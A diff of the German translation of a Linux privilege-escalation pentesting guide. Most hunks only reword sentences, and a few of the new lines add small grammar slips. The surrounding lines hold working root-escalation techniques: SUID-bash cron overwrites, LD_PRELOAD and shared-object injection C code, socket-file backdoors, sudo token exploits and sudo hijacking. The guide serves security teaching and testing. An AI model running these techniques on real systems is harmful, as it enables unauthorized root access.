+## Systeminformationen
-### OS info
+### OS-Info
Lass uns beginnen, einige Kenntnisse über das laufende Betriebssystem zu gewinnen.
```bash
@@ -45,7 +45,7 @@ Tools, die bei der Suche nach Kernel-Exploits helfen könnten, sind:
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ausführen IM Opfer, überprüft nur Exploits für Kernel 2.x)
-Immer **die Kernel-Version in Google suchen**, vielleicht ist Ihre Kernel-Version in einem bestimmten Kernel-Exploit angegeben und dann sind Sie sich sicher, dass dieser Exploit gültig ist.
+Immer **die Kernel-Version in Google suchen**, vielleicht ist Ihre Kernel-Version in einem Kernel-Exploit angegeben und dann sind Sie sich sicher, dass dieser Exploit gültig ist.
### CVE-2016-5195 (DirtyCow)
@@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Sudo-Version
-Basierend auf den anfälligen sudo-Versionen, die erscheinen in:
+Basierend auf den anfälligen sudo-Versionen, die in:
```bash
searchsploit sudo
```
@@ -182,7 +182,7 @@ Normalerweise benötigen Sie **Root-Rechte**, um den Speicher von Prozessen zu l
Denken Sie jedoch daran, dass **Sie als regulärer Benutzer den Speicher der Prozesse, die Sie besitzen, lesen können**.
> [!WARNING]
-> Beachten Sie, dass die meisten Maschinen heutzutage **ptrace standardmäßig nicht erlauben**, was bedeutet, dass Sie keine anderen Prozesse dumpen können, die Ihrem unprivilegierten Benutzer gehören.
+> Beachten Sie, dass die meisten Maschinen heutzutage **ptrace standardmäßig nicht erlauben**, was bedeutet, dass Sie keine anderen Prozesse, die Ihrem unprivilegierten Benutzer gehören, dumpen können.
>
> Die Datei _**/proc/sys/kernel/yama/ptrace_scope**_ steuert die Zugänglichkeit von ptrace:
>
@@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-Für eine gegebene Prozess-ID zeigt **maps, wie der Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; es zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudo-Datei **stellt den Speicher der Prozesse selbst zur Verfügung**. Aus der **maps** Datei wissen wir, welche **Speicherregionen lesbar sind** und deren Offsets. Wir verwenden diese Informationen, um **in die mem-Datei zu suchen und alle lesbaren Regionen** in eine Datei zu dumpen.
+Für eine gegebene Prozess-ID zeigt **maps, wie der Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; es zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudodatei **stellt den Speicher der Prozesse selbst zur Verfügung**. Aus der **maps** Datei wissen wir, welche **Speicherregionen lesbar sind** und ihre Offsets. Wir verwenden diese Informationen, um **in die mem-Datei zu suchen und alle lesbaren Regionen** in eine Datei zu dumpen.
```bash
procdump()
(
@@ -350,7 +350,7 @@ wildcards-spare-tricks.md
### Cron-Skript-Überschreibung und Symlink
-Wenn Sie **ein Cron-Skript** ändern können, das von root ausgeführt wird, können Sie sehr einfach eine Shell erhalten:
+Wenn Sie **ein Cron-Skript ändern können**, das von root ausgeführt wird, können Sie sehr einfach eine Shell erhalten:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
@@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Unsichtbare Cron-Jobs
-Es ist möglich, einen Cron-Job **ein Wagenrücklaufzeichen nach einem Kommentar hinzuzufügen** (ohne Zeilenumbruchzeichen), und der Cron-Job wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):
+Es ist möglich, einen Cronjob **ein Wagenrücklaufzeichen nach einem Kommentar einzufügen** (ohne Zeilenumbruchzeichen), und der Cronjob wird funktionieren. Beispiel (beachten Sie das Wagenrücklaufzeichen):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@@ -385,11 +385,11 @@ Erstellen Sie beispielsweise Ihre Hintertür innerhalb der .service-Datei mit **
### Schreibbare Dienst-Binärdateien
-Behalten Sie im Hinterkopf, dass Sie, wenn Sie **Schreibberechtigungen für von Diensten ausgeführte Binärdateien haben**, diese durch Hintertüren ändern können, sodass beim erneuten Ausführen der Dienste die Hintertüren ausgeführt werden.
+Behalten Sie im Hinterkopf, dass Sie, wenn Sie **Schreibberechtigungen für von Diensten ausgeführte Binärdateien** haben, diese durch Hintertüren ändern können, sodass beim erneuten Ausführen der Dienste die Hintertüren ausgeführt werden.
### systemd PATH - Relative Pfade
-Sie können den von **systemd** verwendeten PATH mit:
+Sie können den von **systemd** verwendeten PATH mitsehen:
```bash
systemctl show-environment
```
@@ -439,22 +439,22 @@ Beachten Sie, dass der **Timer** durch das Erstellen eines Symlinks zu ihm in `/
## Sockets
-Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
+Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Deskriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
Sockets können mit `.socket`-Dateien konfiguriert werden.
**Erfahren Sie mehr über Sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber eine Zusammenfassung wird verwendet, um **anzuzeigen, wo es auf den Socket hören wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6 und/oder Portnummer, auf die gehört werden soll, usw.)
-- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erstellt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Service-Einheit **übergeben**, und es wird nur eine Service-Einheit für alle Verbindungen erstellt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Einheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
+- `Accept`: Nimmt ein boolesches Argument. Wenn **true**, wird für jede eingehende Verbindung eine **Service-Instanz erzeugt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **false**, werden alle hörenden Sockets selbst an die gestartete Serviceeinheit **übergeben**, und es wird nur eine Serviceeinheit für alle Verbindungen erzeugt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Serviceeinheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig false**. Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** oder **nach** dem Erstellen und Binden der hörenden **Sockets**/FIFOs **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nach** dem Schließen und Entfernen der hörenden **Sockets**/FIFOs **ausgeführt** werden.
-- `Service`: Gibt den Namen der **Service**-Einheit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem ersetzten Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
+- `Service`: Gibt den Namen der **Serviceeinheit** an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem ersetzten Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
### Schreibbare .socket-Dateien
Wenn Sie eine **schreibbare** `.socket`-Datei finden, können Sie am Anfang des `[Socket]`-Abschnitts etwas hinzufügen wie: `ExecStartPre=/home/kali/sys/backdoor`, und die Hintertür wird ausgeführt, bevor der Socket erstellt wird. Daher müssen Sie **wahrscheinlich warten, bis die Maschine neu gestartet wird.**\
-_Note, dass das System diese Socket-Dateikonfiguration verwenden muss, oder die Hintertür wird nicht ausgeführt._
+_Beachten Sie, dass das System diese Socket-Dateikonfiguration verwenden muss, oder die Hintertür wird nicht ausgeführt._
### Schreibbare Sockets
@@ -464,7 +464,7 @@ Wenn Sie **irgendeinen schreibbaren Socket** **identifizieren**, (_jetzt spreche
```bash
netstat -a -p --unix
```
-### Rohe Verbindung
+### Rohverbindung
```bash
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
@@ -481,7 +481,7 @@ socket-command-injection.md
### HTTP Sockets
-Beachten Sie, dass es einige **Sockets geben kann, die auf HTTP**-Anfragen hören (_ich spreche nicht von .socket-Dateien, sondern von den Dateien, die als Unix-Sockets fungieren_). Sie können dies überprüfen mit:
+Beachten Sie, dass es einige **Sockets gibt, die auf HTTP**-Anfragen hören (_ich spreche nicht von .socket-Dateien, sondern von den Dateien, die als Unix-Sockets fungieren_). Sie können dies überprüfen mit:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
@@ -502,7 +502,7 @@ Diese Befehle ermöglichen es Ihnen, einen Container mit Root-Zugriff auf das Da
#### **Direkte Verwendung der Docker API**
-In Fällen, in denen die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden.
+In Fällen, in denen die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin mit der Docker API und `curl`-Befehlen manipuliert werden.
1. **Docker-Images auflisten:** Holen Sie sich die Liste der verfügbaren Images.
@@ -536,7 +536,7 @@ Nachdem die `socat`-Verbindung eingerichtet ist, können Sie Befehle direkt im C
### Andere
-Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker`** sind, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker` sind**, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Überprüfen Sie **weitere Möglichkeiten, aus Docker auszubrechen oder es zu missbrauchen, um Privilegien zu eskalieren** in:
@@ -564,7 +564,7 @@ runc-privilege-escalation.md
D-Bus ist ein ausgeklügeltes **Inter-Process Communication (IPC) System**, das es Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde mit dem modernen Linux-System im Hinterkopf entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation.
-Das System ist vielseitig und unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
+Das System ist vielseitig und unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domain-Sockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
D-Bus arbeitet nach einem **Erlauben/Verweigern-Modell**, das die Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und können möglicherweise eine Privilegieneskalation durch die Ausnutzung dieser Berechtigungen ermöglichen.
@@ -614,7 +614,7 @@ lsof -i
```
### Offene Ports
-Überprüfen Sie immer die Netzwerkdienste, die auf der Maschine laufen, mit der Sie zuvor nicht interagieren konnten, bevor Sie darauf zugreifen:
+Überprüfen Sie immer die Netzwerkdienste, die auf der Maschine ausgeführt werden, mit der Sie zuvor nicht interagieren konnten:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
@@ -629,7 +629,7 @@ timeout 1 tcpdump
### Generische Aufzählung
-Überprüfen Sie **wer** Sie sind, welche **Berechtigungen** Sie haben, welche **Benutzer** im System sind, welche sich **anmelden** können und welche **Root-Berechtigungen** haben:
+Überprüfen Sie **wer** Sie sind, welche **Befugnisse** Sie haben, welche **Benutzer** im System sind, welche sich **anmelden** können und welche **Root-Rechte** haben:
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@@ -688,7 +688,7 @@ Wenn Sie **ein Passwort** der Umgebung **kennen, versuchen Sie sich als jeder Be
### Su Brute
Wenn es Ihnen nichts ausmacht, viel Lärm zu machen und die `su`- und `timeout`-Binaries auf dem Computer vorhanden sind, können Sie versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\
-[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem Parameter `-a` versucht ebenfalls, Benutzer zu brute-forcen.
+[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem `-a`-Parameter versucht ebenfalls, Benutzer zu brute-forcen.
## Schreibbare PATH-Missbräuche
@@ -769,9 +769,9 @@ Diese Technik kann auch verwendet werden, wenn eine **suid**-Binärdatei **einen
### SUID-Binärdatei mit Befehls-Pfad
-Wenn die **suid**-Binärdatei **einen anderen Befehl unter Angabe des Pfades ausführt**, können Sie versuchen, eine **Funktion** zu exportieren, die den Namen des Befehls trägt, den die SUID-Datei aufruft.
+Wenn die **suid**-Binärdatei **einen anderen Befehl unter Angabe des Pfades ausführt**, können Sie versuchen, eine **Funktion** zu exportieren, die denselben Namen wie der Befehl hat, den die SUID-Datei aufruft.
-Zum Beispiel, wenn eine SUID-Binärdatei _**/usr/sbin/service apache2 start**_ aufruft, müssen Sie versuchen, die Funktion zu erstellen und zu exportieren:
+Zum Beispiel, wenn eine SUID-Binärdatei _**/usr/sbin/service apache2 start**_ aufruft, müssen Sie versuchen, die Funktion zu erstellen und sie zu exportieren:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@@ -787,7 +787,7 @@ Um jedoch die Systemsicherheit aufrechtzuerhalten und zu verhindern, dass diese
- Der Loader ignoriert **LD_PRELOAD** für Ausführungen, bei denen die reale Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt.
- Für Ausführungen mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen.
-Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und auch erkannt wird, wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann.
+Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und erkannt wird, selbst wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann.
```
Defaults env_keep += LD_PRELOAD
```
@@ -809,7 +809,7 @@ Dann **kompiliere es** mit:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
-Schließlich, **Privilegien eskalieren** ausführen
+Schließlich, **Privilegien eskalieren** durch Ausführen
```bash
sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo
```
@@ -842,7 +842,7 @@ strace 2>&1 | grep -i -E "open|access|no such file"
```
Zum Beispiel deutet das Auftreten eines Fehlers wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf ein potenzielles Exploitationsrisiko hin.
-Um dies auszunutzen, würde man fortfahren, indem man eine C-Datei erstellt, sagen wir _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält:
+Um dies auszunutzen, würde man fortfahren, eine C-Datei zu erstellen, sagen wir _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält:
```c
#include
#include
@@ -853,7 +853,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
-Dieser Code, einmal kompiliert und ausgeführt, zielt darauf ab, die Berechtigungen zu erhöhen, indem er die Dateiberechtigungen manipuliert und eine Shell mit erhöhten Berechtigungen ausführt.
+Dieser Code zielt darauf ab, die Berechtigungen zu erhöhen, indem er die Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten ausführt, sobald er kompiliert und ausgeführt wird.
Kompilieren Sie die obige C-Datei in eine Shared Object (.so) Datei mit:
```bash
@@ -884,7 +884,7 @@ setresuid(0,0,0);
system("/bin/bash -p");
}
```
-Wenn Sie einen Fehler erhalten wie
+Wenn Sie einen Fehler wie erhalten
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
@@ -926,7 +926,7 @@ Anforderungen zur Eskalation von Privilegien:
(Sie können `ptrace_scope` vorübergehend mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` aktivieren oder dauerhaft `/etc/sysctl.d/10-ptrace.conf` ändern und `kernel.yama.ptrace_scope = 0` setzen)
-Wenn alle diese Anforderungen erfüllt sind, **können Sie Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
+Wenn all diese Anforderungen erfüllt sind, **können Sie Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- Der **erste Exploit** (`exploit.sh`) erstellt die Binärdatei `activate_sudo_token` in _/tmp_. Sie können es verwenden, um **das sudo-Token in Ihrer Sitzung zu aktivieren** (Sie erhalten nicht automatisch eine Root-Shell, führen Sie `sudo su` aus):
```bash
@@ -939,14 +939,14 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
-- Der **dritte Exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo-Token ewig macht und allen Benutzern erlaubt, sudo zu verwenden**.
+- Der **dritte Exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo-Token ewig macht und allen Benutzern die Verwendung von sudo erlaubt**.
```bash
bash exploit_v3.sh
sudo su
```
### /var/run/sudo/ts/\
-Wenn Sie **Schreibberechtigungen** im Ordner oder auf einer der darin erstellten Dateien haben, können Sie die Binärdatei [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **ein sudo-Token für einen Benutzer und PID zu erstellen**.\
+Wenn Sie **Schreibberechtigungen** im Ordner oder auf eine der darin erstellten Dateien haben, können Sie die Binärdatei [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **ein sudo-Token für einen Benutzer und PID zu erstellen**.\
Wenn Sie beispielsweise die Datei _/var/run/sudo/ts/sampleuser_ überschreiben können und Sie eine Shell als dieser Benutzer mit PID 1234 haben, können Sie **sudo-Rechte erhalten**, ohne das Passwort wissen zu müssen, indem Sie:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
@@ -979,9 +979,9 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
-Wenn Sie wissen, dass ein **Benutzer normalerweise eine Maschine verbindet und `sudo`** verwendet, um Privilegien zu eskalieren, und Sie haben eine Shell im Kontext dieses Benutzers erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root und dann den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
+Wenn Sie wissen, dass ein **Benutzer normalerweise eine Maschine verbindet und `sudo`** verwendet, um Privilegien zu eskalieren, und Sie haben eine Shell im Benutzerkontext erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root und dann den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
-Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell verwendet (nicht bash), andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie finden ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
+Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell verwendet (nicht bash), andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie können ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) finden.
Oder etwas wie ausführen:
```bash
@@ -1006,7 +1006,7 @@ Die Datei `/etc/ld.so.conf` gibt an, **woher die geladenen Konfigurationsdateien
Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen **Bibliotheken** **gesucht** werden. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken im Verzeichnis `/usr/local/lib` suchen wird**.
-Wenn aus irgendeinem Grund **ein Benutzer Schreibberechtigungen** für einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, jede Datei innerhalb von `/etc/ld.so.conf.d/` oder jeden Ordner innerhalb der Konfigurationsdatei in `/etc/ld.so.conf.d/*.conf`, könnte er in der Lage sein, Privilegien zu eskalieren.\
+Wenn aus irgendeinem Grund **ein Benutzer Schreibberechtigungen** für einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, eine Datei innerhalb von `/etc/ld.so.conf.d/` oder einen Ordner innerhalb der Konfigurationsdatei in `/etc/ld.so.conf.d/*.conf`, könnte er in der Lage sein, Privilegien zu eskalieren.\
Schau dir an, **wie man diese Fehlkonfiguration ausnutzen kann** auf der folgenden Seite:
{{#ref}}
@@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
-Durch das Kopieren der lib in `/var/tmp/flag15/` wird sie von dem Programm an diesem Ort verwendet, wie im `RPATH`-Variable angegeben.
+Durch das Kopieren der lib in `/var/tmp/flag15/` wird sie von dem Programm an diesem Ort verwendet, wie im `RPATH`-Variablen angegeben.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@@ -1048,7 +1048,7 @@ execve(file,argv,0);
```
## Fähigkeiten
-Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig an Prozesse vergeben werden. Auf diese Weise wird die vollständige Menge an Rechten reduziert, was die Risiken einer Ausnutzung verringert.\
+Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig Prozessen gewährt werden. Auf diese Weise wird die vollständige Menge an Rechten reduziert, was die Risiken einer Ausnutzung verringert.\
Lesen Sie die folgende Seite, um **mehr über Fähigkeiten und deren Missbrauch zu erfahren**:
{{#ref}}
@@ -1062,7 +1062,7 @@ Das **"lesen"**-Bit impliziert, dass der Benutzer die **Dateien** auflisten kann
## ACLs
-Access Control Lists (ACLs) stellen die sekundäre Schicht der diskretionären Berechtigungen dar, die in der Lage sind, die traditionellen ugo/rwx-Berechtigungen **zu überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die nicht die Eigentümer oder Teil der Gruppe sind, Rechte gewähren oder verweigern. Diese Ebene der **Granularität sorgt für eine genauere Zugriffsverwaltung**. Weitere Details finden Sie [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux).
+Access Control Lists (ACLs) stellen die sekundäre Schicht der diskretionären Berechtigungen dar, die in der Lage sind, die traditionellen ugo/rwx-Berechtigungen **zu überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die nicht die Eigentümer oder Teil der Gruppe sind, Rechte gewähren oder verweigern. Diese Ebene der **Granularität sorgt für eine präzisere Zugriffsverwaltung**. Weitere Details finden Sie [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Geben** Sie dem Benutzer "kali" Lese- und Schreibberechtigungen für eine Datei:
```bash
@@ -1078,11 +1078,11 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## Offene Shell-Sitzungen
In **alten Versionen** können Sie einige **Shell**-Sitzungen eines anderen Benutzers (**root**) **übernehmen**.\
-In **neueren Versionen** können Sie sich nur mit den Screen-Sitzungen **Ihres eigenen Benutzers** **verbinden**. Sie könnten jedoch **interessante Informationen innerhalb der Sitzung** finden.
+In **neueren Versionen** können Sie nur zu Bildschirm-Sitzungen Ihres **eigenen Benutzers** **verbinden**. Sie könnten jedoch **interessante Informationen innerhalb der Sitzung** finden.
-### Übernahme von Screen-Sitzungen
+### Bildschirm-Sitzungen übernehmen
-**Liste der Screen-Sitzungen**
+**Liste der Bildschirm-Sitzungen**
```bash
screen -ls
screen -ls / # Show another user' screen sessions
@@ -1130,7 +1130,7 @@ Dieser Fehler tritt auf, wenn ein neuer SSH-Schlüssel in diesen Betriebssysteme
- **PasswordAuthentication:** Gibt an, ob die Passwortauthentifizierung erlaubt ist. Der Standardwert ist `no`.
- **PubkeyAuthentication:** Gibt an, ob die Authentifizierung mit öffentlichem Schlüssel erlaubt ist. Der Standardwert ist `yes`.
-- **PermitEmptyPasswords**: Wenn die Passwortauthentifizierung erlaubt ist, gibt an, ob der Server die Anmeldung bei Konten mit leeren Passwortzeichenfolgen erlaubt. Der Standardwert ist `no`.
+- **PermitEmptyPasswords**: Wenn die Passwortauthentifizierung erlaubt ist, gibt es an, ob der Server die Anmeldung bei Konten mit leeren Passwortzeichenfolgen erlaubt. Der Standardwert ist `no`.
### PermitRootLogin
@@ -1138,12 +1138,12 @@ Gibt an, ob root sich über SSH anmelden kann, der Standardwert ist `no`. Mögli
- `yes`: root kann sich mit Passwort und privatem Schlüssel anmelden
- `without-password` oder `prohibit-password`: root kann sich nur mit einem privaten Schlüssel anmelden
-- `forced-commands-only`: Root kann sich nur mit privatem Schlüssel anmelden und wenn die Befehlsoptionen angegeben sind
+- `forced-commands-only`: Root kann sich nur mit privatem Schlüssel anmelden, wenn die Befehlsoptionen angegeben sind
- `no` : nein
### AuthorizedKeysFile
-Gibt Dateien an, die die öffentlichen Schlüssel enthalten, die für die Benutzerauthentifizierung verwendet werden können. Sie kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Sie können absolute Pfade** (beginnend mit `/`) oder **relative Pfade vom Home-Verzeichnis des Benutzers** angeben. Zum Beispiel:
+Gibt Dateien an, die die öffentlichen Schlüssel enthalten, die für die Benutzerauthentifizierung verwendet werden können. Es kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Sie können absolute Pfade** (beginnend mit `/`) oder **relative Pfade vom Home-Verzeichnis des Benutzers** angeben. Zum Beispiel:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
